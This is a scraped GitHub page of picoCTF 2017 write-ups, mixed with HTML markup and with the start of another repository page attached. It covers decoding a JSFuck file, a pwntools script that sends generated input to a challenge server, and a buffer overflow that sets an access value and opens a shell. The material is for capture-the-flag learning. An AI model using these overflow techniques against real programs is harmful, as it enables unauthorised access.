data-snippet-clipboard-copy-content="import sysfrom pwn import *x = remote('34.206.4.227', 44840) What in the world could this be?!?! Link to a file HINTSMaybe start searching for uses of these chunks of characers? Is there anything on the Internet with them? Looked at the file and identified it as jsfuck. Execute the code on http://www.jsfuck.com/ and an alert will prompt with the flag. aw_yiss_ducking_breadcrumbs_b703db4e I heard you have some "delusions of grandeur" about your typing speed. How fast can you go at shell2017.picoctf.com:44840? HINTSUse the nc command to connect!I hear python is a good means (among many) to generate the needed input.It might help to have multiple windows open #Regex to extract between quotesa = re.findall(r"'(.*?)'", x.recv()) #Extracting the letter + number + endingb = a[0]c = int(a[1])d = a[2] #constructing payloadpayload = b * cpayload += dpayload += "\n" x.send(payload)sys.stdout.flush()print(x.recv()) ">import sysfrom pwn import *x = remote('34.206.4.227', 44840) #Regex to extract between quotesa = re.findall(r"'(.*?)'", x.recv()) #Extracting the letter + number + endingb = a[0]c = int(a[1])d = a[2] #constructing payloadpayload = b * cpayload += dpayload += "\n" x.send(payload)sys.stdout.flush()print(x.recv()) </div><h1 tabindex="-1" dir="auto"><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg>VR Gear Console</h1>Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9HINTSWhat happens if you read in more characters than the length of the username buffer?You should look at an ascii table to see what character you need to choose.Numbers are stored in little-endian format, which means that the lowest byte of the number is first."cat file - | vrgearconsole " will keep the pipe open for commands.Reference : http://www.asciitable.com/<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="    if (access >= 0xff || access <= 0) { printf("Login unsuccessful.\n"); exit(10); } else if (access < 0x30) { printf("Admin access granted!\n"); printf("The flag is in \"flag.txt\".\n"); system("/bin/sh"); } else { printf("Login successful.\n"); printf("You do not have permission to access this resource.\n"); exit(1); }">    if (access >= 0xff || access <= 0) { printf("Login unsuccessful.\n"); exit(10); } else if (access < 0x30) { printf("Admin access granted!\n"); printf("The flag is in \"flag.txt\".\n"); system("/bin/sh"); } else { printf("Login successful.\n"); printf("You do not have permission to access this resource.\n"); exit(1); } Here's the VR gear admin console. See if you can figure out a way to log in. The problem is found here: /problems/51645e84d55d376442beaf264e0908b9 HINTSWhat happens if you read in more characters than the length of the username buffer?You should look at an ascii table to see what character you need to choose.Numbers are stored in little-endian format, which means that the lowest byte of the number is first."cat file - | vrgearconsole " will keep the pipe open for commands. Reference : http://www.asciitable.com/ </div>If Username == AAAAAAAAAAAAAAAAAAAAA for example the acesslevel will be set to 0x41414141 and we get to the else case.If Username == AAAAAAAAAAAAAAAAA we get 0x00000041 and we need to set access < 0x30 -> Look at asciitable and we know $ is hex 24 so lets go with that.Username == AAAAAAAAAAAAAAAA$ -> Results in shell.</article> </div> </div> If Username == AAAAAAAAAAAAAAAAAAAAA for example the acesslevel will be set to 0x41414141 and we get to the else case. If Username == AAAAAAAAAAAAAAAAA we get 0x00000041 and we need to set access < 0x30 -> Look at asciitable and we know $ is hex 24 so lets go with that. Username == AAAAAAAAAAAAAAAA$ -> Results in shell. </readme-toc> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>writeups/asis(2017)/shacolla at master · Robin-Bjornsdotter/writeups · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="BC8D:76EE:1CE50B05:1DC301C3:64122844" data-pjax-transient="true"/><meta name="html-safe-nonce" content="52309a530234ce6c5fda0bf674eee54e34077c934d376cf970f3a3bcb5144620" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCQzhEOjc2RUU6MUNFNTBCMDU6MURDMzAxQzM6NjQxMjI4NDQiLCJ2aXNpdG9yX2lkIjoiMjIwMzk3Mzk3NTgzODY5NzU0MCIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="e00e1c36cc667760df4999b1cfde8bade82c658d743abd9e7b9fe28142162f10" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:87312872" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Writeups from various CTF challenges. Contribute to Robin-Bjornsdotter/writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bcb84705f8e639a236711b707d9836aac2bdac6b72ee0d2a636245842a6acb58/Robin-Bjornsdotter/writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="writeups/asis(2017)/shacolla at master · Robin-Bjornsdotter/writeups" /><meta name="twitter:description" content="Writeups from various CTF challenges. Contribute to Robin-Bjornsdotter/writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bcb84705f8e639a236711b707d9836aac2bdac6b72ee0d2a636245842a6acb58/Robin-Bjornsdotter/writeups" /><meta property="og:image:alt" content="Writeups from various CTF challenges. Contribute to Robin-Bjornsdotter/writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="writeups/asis(2017)/shacolla at master · Robin-Bjornsdotter/writeups" /><meta property="og:url" content="https://github.com/Robin-Bjornsdotter/writeups" /><meta property="og:description" content="Writeups from various CTF challenges. Contribute to Robin-Bjornsdotter/writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/Robin-Bjornsdotter/writeups git https://github.com/Robin-Bjornsdotter/writeups.git"> <meta name="octolytics-dimension-user_id" content="17379475" /><meta name="octolytics-dimension-user_login" content="Robin-Bjornsdotter" /><meta name="octolytics-dimension-repository_id" content="87312872" /><meta name="octolytics-dimension-repository_nwo" content="Robin-Bjornsdotter/writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="87312872" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Robin-Bjornsdotter/writeups" /> <link rel="canonical" href="https://github.com/Robin-Bjornsdotter/writeups/tree/master/asis(2017)/shacolla" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 